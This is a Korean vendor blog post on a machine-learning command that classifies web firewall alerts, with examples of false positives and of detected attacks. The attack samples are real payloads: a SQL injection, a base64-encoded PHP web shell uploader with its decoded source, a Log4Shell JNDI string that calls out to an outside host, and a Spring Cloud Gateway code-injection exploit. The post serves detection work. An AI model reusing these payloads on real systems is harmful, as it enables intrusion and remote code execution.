로그프레소는 올해 한국인터넷진흥원, 샌즈랩과 함께 사이버보안 AI 데이터셋 실증 사업을 진행하였습니다. 한국인터넷진흥원의 능동형 보안관제 데이터셋을 기반으로 머신러닝 모델을 생성하여 6개월 간 실증을 진행하였고, 여러 단계의 보완을 거쳐 성능이 고도화되어 오늘 머신러닝 룰 앱의 정식 버전을 공개하게 되었습니다.
로그프레소는 오래 전부터 머신러닝 모델링 기능을 지원하고 있었지만, 현업에 실제로 머신러닝 모델을 적용하려면 머신러닝 모델링과 보안 도메인에 대한 많은 지식과 경험이 필요하여 벤더 엔지니어가 아니면 실제 업무에 머신러닝 기술을 적용하기가 어려웠습니다. 이 때문에 사이트에서 별도로 조정할 필요 없이, 즉각 적용할 수 있는 쿼리 명령어의 형태로 모델을 사용할 수 있어야만 광범위하게 머신러닝 기능을 현장에 적용할 수 있다는 결론에 이르렀습니다.
이에 머신러닝 룰
앱을 설치하면 즉시 머신러닝 모델을 사용할 수 있는 쿼리 명령어를 제공하고, 머신러닝 모델이 고도화 되는 경우 간단하게 앱 업그레이드 설치만으로 적용할 수 있도록 설계하였습니다. 머신러닝 룰 앱은 로그프레소 스토어에서 다운로드 할 수 있으며, DMZ 웹 이상탐지, 웹봇 분류, 웹 방화벽 경보 정오탐 분류 3가지의 머신러닝 모델을 내장하고 있습니다.
분량이 많기 때문에 이번 글에서는 웹 방화벽 정오탐 분류 모델에 대해 소개하고, 이어지는 글을 통해 웹봇 분류, DMZ 웹 이상탐지 모델을 소개하도록 하겠습니다.
배경
웹 방화벽에서 위협을 탐지하면 정책에 따라 경보를 하거나 차단까지 수행하게 되는데, 오탐으로 인해 정상적인 사용자 접속까지 차단하게 되면 서비스 운영 장애가 발생할 수도 있습니다. 따라서 보안 담당자는 반드시 정오탐을 확인해야 하는데, 별도의 정책 최적화 작업을 하지 않은 경우에는 90% 이상 오탐이 발생하기도 합니다.
가장 좋은 방안은 웹 방화벽 탐지 정책을 조정하여 원천적으로 오탐이 발생하지 않도록 최적화하는 것이지만, 머신러닝 모델링을 직접 수행할 수 있는 고급 엔지니어가 부족한 것과 마찬가지로 웹 방화벽 정책도 전문 엔지니어가 아니면 조정하기 어렵기 때문에, SIEM에서 웹 방화벽 경보의 정오탐을 자동으로 분류하는 기술이 요구되었습니다.
웹 방화벽마다 민감도나 기본 정책, 로그 형식이 모두 다르지만, 머신러닝 룰 앱은 HTTP 요청 페이로드를 대상으로 하여 웹 방화벽 모델에 관계없이 일관된 분류 결과와 근거를 제공합니다.
오탐 원인
웹 방화벽이 오탐을 발생시키는 근본적인 원인은 수십 Gbps 이상의 속도로 정교하게 위협을 분류하기 어렵다는 점에 있습니다. 웹 방화벽을 비롯한 현대의 네트워크 보안 장비는 통상 6000종 이상의 패턴을 내장하고 있습니다. 취약점은 매년 수만 개씩 새로 발견되므로 패턴이 지속적으로 증가하고 있으며, 네트워크 대역폭 역시 100Gbps 수준으로 확대되고 있기 때문에 인라인으로 배치된 네트워크 보안 장비가 통신 속도를 안정적으로 유지하면서 위협을 탐지하는 것은 매우 어려운 과제입니다.
대부분의 네트워크 보안 장비는 한 번의 페이로드 스캔으로 수천 종의 패턴을 검사할 수 있는 멀티패턴매칭 알고리즘을 적용하고 있습니다. 먼저 수천 개 이상의 문자열 패턴을 고속으로 비교하고, 정규식을 이용하여 검증하는 것이 일반적인 구성입니다.
그런데 검증 규칙이 적절하게 설정되지 않은 경우에는 대량의 오탐을 발생시키게 됩니다. 이에 대한 대표적인 사례를 몇 가지 살펴보도록 하겠습니다.
오탐 사례
디렉터리 순회 오탐
아래 페이로드는 ../
문자열을 포함하기 때문에 오탐된 사례입니다. 디렉터리 순회 취약점 공격은 아래와 같은 JSON 본문보다는 쿼리스트링을 통해 이루어지는 경우가 대부분입니다. 보안 분석가가 이 페이로드를 보면 오탐이라는 것을 직관적으로 인식할 수 있으나, 웹 방화벽은 이러한 맥락을 인지하기 어렵습니다.
POST /content-review/v1/reviews HTTP/1.1
{"orderNumber":"<REDACTED>",
"content":"방문을....~\\\\\\~~~~했는데_____~~~~~
.....컴퓨터도...~~~~좋고....~~~~~티비도...~~~~\\\\\\\\\\넷플이나.../////
~~~~~티빙...///~~~~도 되서.....____/////ㅅ~~~~~좋았고요~~~~|||||.....
쉬기좋은....////~~~~~숙소인거....)))////~~~\\~같아요.....]]]]]~~~~~ㅈ)))))",
"ratings":[
{"name":"SERVICES","score":10.0},
{"name":"FACILITIES","score":10.0},
{"name":"CLEANLINESS","score":9.0}
]}
SQL 인젝션 오탐
아래 페이로드는 floor (
문자열을 포함하기 때문에 오탐된 사례입니다. SQL 삽입 공격 시 floor() 함수가 자주 사용되기 때문에 패턴이 등록되었겠지만, 웹 방화벽은 완전한 함수 호출 구문 형태를 검증하지 않기 때문에 이와 같은 오탐이 발생합니다.
POST /logs/ HTTP/1.1
{"review_text": "Pros:\n
-Great location (2mins beside Ximen)\n
-Famous Cantonese restaurant in the same building & Ah Zong Mian Xian just downstairs of the building \n
-High floor (10th)\n
...
"funnel":"review",
"review_id":"<REDACTED>"
}
허용되지 않은 확장자 오탐
아래 페이로드는 .gltf
확장자를 포함하기 때문에 오탐된 사례입니다. glTF 파일은 3D 모델 파일이지만 웹 방화벽은 화이트리스팅된 확장자 이외에는 경보를 발생시키는 경우가 많습니다. 이런 경우에는 일반 사용자 뿐 아니라 검색엔진 크롤러 등 봇에 의해 접근될 때마다 경보가 대량으로 발생하게 됩니다.
GET /res/main/assets/model01.gltf HTTP/1.1
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.6478.182 Mobile Safari/537.36 (compatible; Googlebot/2.1;
+https://www.google.com/bot.html)
허용되지 않은 경로 오탐
아래 페이로드는 경로가 /etc/
로 시작하기 때문에 오탐된 사례입니다. 일반적으로 ../../etc/passwd
와 같은 디렉터리 순회를 통한 접근을 차단하기 위한 규칙이지만, 웹 서비스 페이지 자체가 /etc/
경로로 정의된 경우 지속적으로 오탐이 발생하게 됩니다. 이것 역시 웹 방화벽이 적절한 맥락을 구분하지 못하기 때문에 발생한 오탐 사례입니다.
운영체제 명령어 오탐
아래 페이로드는 쿼리스트링 매개변수가 dir
이기 때문에 오탐된 사례입니다. 실제 명령어 주입이 발생하는 매개변수 값을 대상으로 패턴을 탐지해야 하나, 웹 방화벽은 이러한 구분 없이 단순하게 패턴매칭하는 한계 때문에 발생한 것입니다.
GET /upload/business/2/?dir=xxx
Accept: text/html,application/xhtml+xml,application/xml,q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/121.0.0.0 Safari/537.36
Host: acme.com
Connection: Keep-alive
허용되지 않은 경로 오탐과 마찬가지로 웹 서비스 매개변수 이름으로 인한 오탐은 불필요한 대량의 경보가 지속적으로 발생합니다.
아래는 echo
문자열로 인해 오탐된 사례입니다. rm
등 다른 명령어들도 구문을 검증하지 않은 상태로 짧은 문자열을 패턴으로 사용하면서 오탐이 발생합니다.
POST /logs HTTP/1.1
{"funnel":"home","login_type":"Kakao","mobile_type":"SKTelecom",
...
"auto_keywords":"도시|휘슬러^숙소|...
|Echo Lake^관광지|Echo Lake Recreation Site^관광지
|Emerald Park^관광지|Green Lake Launch^관광지|Green Lake Park^관광지|Harmony Lake Trail^관광지
|Shadow Lake^관광지|Shadow Lake Interpretive Forest^관광지
|Showh Lakes-ancient Cedars Trail Recreation Site^관광지
|Solar Coaster Express^관광지|The Range^관광지|Tupper Lake",
...
}
원격 파일 포함 오탐
아래 페이로드는 리다이렉트 주소가 쿼리스트링에 포함되어 있기 때문에 오탐된 사례입니다. 특히 PHP 계열에서 Remote File Inclusion 취약점이 많기 때문에 웹 방화벽은 이처럼 URL이 매개변수에 포함된 경우 탐지하고 있습니다. 보안 분석가는 returnurl 매개변수 이름으로부터 이것이 처음부터 URL을 받도록 설계된 것이므로 문제가 없다는 것을 즉시 파악할 수 있으나, 웹 방화벽은 그러한 유추를 하지 못하는 한계가 있습니다.
GET /app_mobile/app/shopping_shop_gateway.aspx?returnurl=https://<REDACTED>/Provider/MallPlan/1257 HTTP/1.1
허용되지 않은 메소드 오탐
웹 방화벽에서 HEAD, OPTIONS와 같은 정상적인 요청도 탐지하는 사례가 많습니다. 컴플라이언스 규정 상 차단하도록 되어있는 경우가 있으나, 최소한 보안 분석가는 일일이 이러한 요청을 재확인할 필요가 없습니다.
정오탐 분류 명령어
개요
이에 머신러닝 룰 앱은 ml-scan-http-request
명령어를 제공하여 사용자가 즉각 웹 방화벽의 정오탐을 분류할 수 있도록 지원합니다. ml-scan-http-request
명령어를 사용하는 예시는 아래와 같습니다.
table duration=1h *:WAF_*
| fields _time, src_ip, signature, action, raw_data
| ml-scan-http-request
ml-scan-http-request
명령어는 raw_data
필드만을 필수 입력으로 요구합니다. 위의 쿼리 예시에서 _time, src_ip, signature, action 필드를 포함한 것은 기존 웹 방화벽의 경보와 머신러닝 모델의 분류 결과를 대조 분석하기 위한 것입니다.
예를 들어 아래와 같은 raw_data 값이 주어지는 경우,
POST /nagiosql/admin/helpedit.php HTTP/1.1
Host: <REDACTED>
Content-Length: 144
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
selInfoKey1=1'UNION SELECT MD5(31337) -- &hidKey1=common&selInfoKey2=&hidKey2=free_variables_name&selInfoVersion=&hidVersion=&taContent=&modus=0
ml-scan-http-request
쿼리 명령어는 아래와 같은 분석 결과를 출력합니다:
타입 | 필드 | 값 |
---|---|---|
문자열 | verdict | attack |
문자열 | tags | #php #sql_injection |
문자열 | highlights | 1'UNION SELECT MD5(31337) -- |
문자열 | decoded_strings | 1'UNION SELECT MD5(31337) -- |
verdict 필드 값은 attack
또는 benign
으로 정오탐 여부를 분류합니다. 그러나 분류 결과만으로는 머신러닝 모델이 왜 그렇게 판단했는지 알 수 없으므로 tags를 통해 위협으로 판단한 근거를 제시합니다. 그 뿐 아니라 highlights 필드 출력으로 정확하게 페이로드의 어느 부분이 위협으로 판단되었는지 제시하고, 페이로드가 URL 인코드되거나 난독화된 경우 해석하기 어려우므로 decoded_strings 필드를 통해 해석된 결과까지 출력합니다. 이를 통해 보안 분석가는 신뢰할 수 있는 정오탐 분류 결과를 확인할 수 있습니다.
난독화 자동 해제
ml-scan-http-request
쿼리 명령어는 BASE64 디코드 함수 삽입을 자동으로 인식하여 웹쉘 코드를 추출합니다. 예를 들어 아래와 같은 코드는 BASE64로 인코딩되어 있으므로 보안 분석가가 별도로 디코드를 하지 않으면 내용을 알 수 없습니다.
POST /wp.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
css=echo+%27RxRHaCk%27%3Bfwrite%28fopen%28%27%2Fabout.php%27%2C%27w%2B%27%29%2C
base64_decode%28%27PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7Cmlm
ICgkX0dFVFsia2V5Il0gPT0gIkVuaWdtYUN5YmVyU2VjdXJpdHkiKXsKZWNobyAiPGI%2BRW5pZ21hQ
3liZXJTZWN1cml0eTwvYj48YnI%2BIjsKZWNobyAnPGI%2BU3lzdGVtIEluZm86PC9iPiAnLnBocF91
bmFtZSgpOwplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXB
hcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICc8aW5wdX
QgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlP
SJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0%2BJzsKaWYoICRfUE9TVFsnX3
VwbCddID09ICJVcGxvYWQiICkgewppZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sI
CRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgewplY2hvICc8Yj5TdWNjZXNzZnVsbHkhPC9iPjxicj48
YnI%2BJzsgCn1lbHNlIHsgZWNobyAnRmFpbGVkITwvYj48YnI%2BPGJyPic7IH19Cn1lbHNlewokZG9
tYWluID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107CmVjaG8nPGh0bWw%2BPGhlYWQ%2BCjx0aXRsZT
40MDQgTm90IEZvdW5kPC90aXRsZT4KPC9oZWFkPjxib2R5Pgo8aDE%2BTm90IEZvdW5kPC9oMT4KPHA
%2BVGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A%2BCjwvYm
9keT48L2h0bWw%2BJzt9Cj8%2B%27%29%29%3B
ml-scan-http-request
쿼리 명령어는 decoded_strings 필드에 자동으로 난독화를 해제한 결과물을 아래와 같이 출력합니다. 보안 분석가의 단순 반복 작업이 사라지며 자동 분석된 결과를 보는 즉시 세부사항을 이해할 수 있습니다.
<?php
error_reporting(E_ERROR | E_PARSE);
if ($_GET["key"] == "EnigmaCyberSecurity"){
echo "<b>EnigmaCyberSecurity</b><br>";
echo '<b>System Info:</b> '.php_uname();
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b>Successfully!</b><br><br>';
}else { echo 'Failed!</b><br><br>'; }}
}else{
$domain = $_SERVER['SERVER_NAME'];
echo'<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>';}
?>
이 뿐 아니라 ml-scan-http-request
쿼리 명령어는 Log4shell 공격의 복잡한 난독화를 자동으로 해제하여 보안 분석가가 즉시 공격자의 C2 서버를 확인할 수 있도록 지원합니다. 예를 들어 아래와 같은 경보가 발생한 경우, 보안 분석가가 직접 난독화를 수작업으로 해제하는 것은 매우 어렵습니다.
POST /login HTTP/1.1
Host: <REDACTED>
Content-Length: 1079
accept: */*
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
content-type: application/json
{"username": "${${i96:x:-j}${kt82:-n}${3:09r2:mav:-d}${wcm:1r:-i}${89:jo:-:}${egl7:-l}
${7csb:u0c:-d}${dtao:v36:-a}${xjv:-p}${g:x0:9:-:}${ex:0ek:-/}${a2:-/}${9a2n:-U}
${oh:nh:cjuh:-N}${e:nck:-l}${9z:9:f:-0}${cwaf:39:-c}${t69j:4neh:iut:--}
${${j:-s}${mh:3p:-y}${1:fk:-s}${i:28a:-:}${q:nd0:-j}${0vf:s7ch:-a}${8oq:-v}${g1p:-a}
${x8:qh:bem:-.}${c:-v}${u0:zv:c:-e}${nw:z:31jn:-r}${3ql:1o:-s}${h:d:g4h:-i}${scp:x:-o}
${q659:w:-n}}${8my0:-.}${xqn:a:8oh:-d}${y:-4}${vopn:ypsh:py8:-9}${0e5:-4}${qiy:i6ws:-9}
${g4:fyo:6k:-b}${yr8:9o5:-6}${63:k0j5:-8}${si:-f}${jgti:m:qjlv:-f}${pw:c:tf:-a}${eu:-2}
${vx:30j:-f}${g:jw:-e}${5:tl62:cfzl:-4}${edoh:-6}${0kfn:6i:c:-1}${kojh:-8}${i:-f}
${ylv9:j7p:0ia7:-0}${fxna:n6iw:41:-8}${fl:-d}${l7q:-a}${bvh:t9z:-9}${5a3:5ygu:l:-a}
${02ct:e:-5}${y:rst:-9}${t0:-5}${53s:t:rz2:-d}${eu9:jgp:-5}${2:-d}${e:e:l:-a}${jty0:-3}
${o:-3}${ao:-8}${qm:-f}${yd:0x:psxu:-d}${8:3fqo:5:-9}${8s7:-0}${3f:-e}${8bi:r:-2}${5ber:yt7:-a}
${5avk:-.}${5:0m:-p}${a:-.}${j:-7}${2:-b}${y:v:-a}${f:m:i:-e}${v57x:-.}${m:509e:g:-x}${0ay:-y}
${s:eca:-z}}","password":"b6d5138c19bf0efc65dcfc14ec626ccb"}
그러나 ml-scan-http-request
명령어는 복잡한 JNDI 문자열을 자동으로 복호화하여 아래와 같은 문자열을 decoded_strings 필드로 출력합니다.
- decoded_strings: ${jndi:ldap://unl0c-${sys:java.version}.d4949b68ffa2fe4618f08da9a595d5da338fd90e2a.p.7bae.xyz}
위와 같이 보안 분석가는 d4949b68ffa2fe4618f08da9a595d5da338fd90e2a.p.7bae.xyz
라는 침해지표를 즉시 확인할 수 있습니다.
CVE 취약점 정보 지원
ml-scan-http-request
명령어는 머신러닝 기반의 정오탐 분류 및 근거 설명에 그치지 않고, 시그니처 데이터베이스를 결합하여 CVE 취약점과 관련된 URL 정보까지 통합하여 제공합니다. 아래 Spring 취약점 공격 분석 예시와 같이 cve
필드와 refs
필드를 통해 CVE 식별자와 레퍼런스 URL을 제공하므로 보안 분석가는 머신러닝 모델의 결과에 대해 더욱 확신을 가질 수 있습니다. 시그니처 데이터베이스는 머신러닝 룰 앱이 업그레이드 될 때마다 패턴 정보가 추가됩니다.
POST /actuator/gateway/routes/ogvdruph HTTP/1.1
Host: acme.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
{
"id": "ogvdruph",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"989058906\",\"+\",\"876173853\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
- verdict: attack
- cve: CVE-2022-22947
- refs: https://blog.viettelcybersecurity.com/cve-2022-22947-spring-cloud-gateway-code-injection-vulnerability/
- tags: #exploit #remote_url_in_json #command_injection
- highlights: http://example.com, #{new java.lang.String(...)}
- decoded_strings: http://example.com, #{new java.lang.String(...)}
활용
웹 방화벽 경보 로그 수신 시 수집 모델에 | ml-scan-http-request
를 추가하면, 기존 웹 방화벽 경보 로그에 verdict, tags, highlights, decoded_strings, cve, refs 필드가 태깅되어 저장됩니다. 이렇게 추가된 메타데이터를 이용하여 아래와 같은 대시보드를 구성할 수 있습니다.
Logpresso Sonar Light 라이선스를 사용하시는 경우에도 위와 같은 대시보드를 설정하여 머신러닝 기반 웹 방화벽 모니터링을 구축할 수 있습니다.
침입방지시스템(IPS), 웹 방화벽(WAF) 경보를 티켓으로 발생시키는 경우에는 실시간 탐지 시나리오에서 search verdict == "attack"
조건을 추가하는 간단한 설정만으로 오탐을 모두 걸러낼 수 있습니다.
자주 묻는 질문(FAQ)
어떤 제조사의 웹 방화벽을 지원하나요?
- 로그 전송 시 HTTP 요청 페이로드를 헤더와 본문까지 모두 전송 지원하는 경우 제조사에 관계없이 웹 방화벽 경보 정오탐 분류 모델을 사용할 수 있습니다.
- 모니터랩 AIWAF, 파이오링크 WEBFRONT-K, 펜타시큐리티 WAPPLES 장비는 로그 전송 시 HTTP 요청 페이로드를 포함할 수 있으므로 머신러닝 모델 기반의 경보 정오탐 분류를 적용할 수 있습니다.
- AWS WAF, eWalker WAF 등 HTTP Body 전송이 지원되지 않는 경우에도 사용이 가능하긴 하나, 최초 경보가 웹쉘 업로드 등 HTTP Body 위협 요인으로 발생한 것이라면 원천 정보를 확인할 수 없으므로 미탐됩니다.
분석 태그 전체 목록은 어떻게 확인하나요?
- 머신러닝 룰 앱의 ml-scan-http-request 명령어 레퍼런스를 참고하시기 바랍니다.
머신러닝 모델의 오탐, 미탐은 어떻게 해결하나요?
- 즉시 해결해야 하는 경우 ml-scan-http-request 명령어의 결과에 대해 eval 쿼리 구문으로 예외 처리를 수행할 수 있습니다.
- 예를 들어 특정 경로와 하이라이트 조합에 대해 아래와 같이 예외 처리를 수행할 수 있습니다.
- 지원 포탈을 통해 오탐, 미탐된 raw_data 값을 전달해주시면 앱 업그레이드를 통해 반영해드립니다.
마치며
웹 방화벽 경보 정오탐 분류 모델은 99% 수준의 정확도를 가지고 있으나, 모델링의 전제 조건 상 취약점 스캐닝 등 알려지지 않은 위협에는 미탐이 발생합니다. 이러한 한계는 이후에 설명할 웹봇 분류 모델, 그리고 DMZ 웹 로그 이상탐지 모델을 병행 운영하여 상호 보완할 수 있습니다. 다음 편에서 이어서 소개하도록 하겠습니다.